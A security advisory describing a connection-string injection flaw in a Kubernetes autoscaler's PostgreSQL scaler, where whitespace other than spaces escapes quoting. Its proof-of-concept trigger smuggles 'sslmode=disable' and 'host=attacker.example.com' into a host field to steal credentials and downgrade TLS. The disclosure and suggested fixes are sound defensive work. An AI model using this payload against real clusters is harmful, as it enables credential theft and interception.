Summary "pkg/scalers/postgresql_scaler.go" builds libpq-style connection strings by concatenating "key=value" pairs separated by spaces. Each tenant-controllable field ("host", "port", "userName", "dbName", "sslmode") is passed through "escapePostgreConnectionParameter": func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\'") return fmt.Sprintf("'%s'", str) } The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like "mydb\tsslmode=disable\thost=attacker.example.com" splits into additional "key=value" tokens when parsed by pgx, injecting attacker-controlled connection parameters. Vulnerable code "pkg/scalers/postgresql_scaler.go", lines 155–164 and 250–257. Impact Tenants with the ability to create a "TriggerAuthentication" or "ScaledObject" that populates any of "host", "port", "userName", "dbName", "sslmode" can: - Force "sslmode=disable" on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - Redirect the connection to an attacker-controlled host ("host=...") to steal the credentials the operator supplies via the "password=" keyword. - Append arbitrary libpq runtime parameters ("options=", "application_name=", "target_session_attrs=") to pivot behavior. Note: the password parameter is appended last in "buildConnArray", which limits but does not eliminate credential exfiltration — injected "host=" still redirects the subsequent "password=" keyword's target. Proof of concept triggers: - type: postgresql metadata: host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com" port: "5432" userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECT 1" After "escapePostgreConnectionParameter" (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include "host=attacker.example.com" and "sslmode=disable". Suggested fix - Escape / reject any ASCII whitespace ("\t", "\n", "\r", "\f", "\v", space) and backslash. - Prefer the URI form ("postgres://user:pass@host:port/db?sslmode=require") with proper URL-encoding. - Validate each field against an allow-list pattern before use. Resources - "pkg/scalers/postgresql_scaler.go" - libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING